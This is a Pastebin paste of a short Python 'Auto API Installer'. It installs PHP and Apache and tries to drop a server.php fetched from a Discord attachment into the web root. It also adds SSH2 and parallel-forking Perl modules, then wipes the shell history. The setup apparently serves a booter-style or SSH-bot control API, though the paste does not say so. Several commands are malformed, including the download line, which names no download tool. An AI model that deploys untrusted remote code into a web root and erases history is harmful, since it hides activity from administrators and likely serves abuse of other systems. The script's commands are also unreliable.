Advertisement
ogslippers

Auto API Installer [PY]

Sep 15th, 2019
198
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.55 KB | None | 0 0
  1. # Written By Slippers
  2.  
  3. import subprocess
  4.  
  5. def run(cmd):
  6. subprocess.call(cmd, shell=True)
  7.  
  8. run('yum install php httpd -y')
  9.  
  10. run('https://cdn.discordapp.com/attachments/536404134199427072/622964906207215633/server.php')
  11.  
  12. run('mv server.php /var/www/html')
  13.  
  14. run('yum install gcc cpan php-pear php-devel libssh2 libssh2-devel -y')
  15. run('pecl install -f ssh2 touch /etc/php.d/ssh2.ini echo ')
  16. run('extension=ssh2.so>/etc/php.d/ssh2.ini')
  17. run('cpan -fi Net::SSH2')
  18. run('cpan -fi Parallel::ForkManager')
  19.  
  20. run('history -c')
  21.  
  22. print('[+] Finished [+]')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement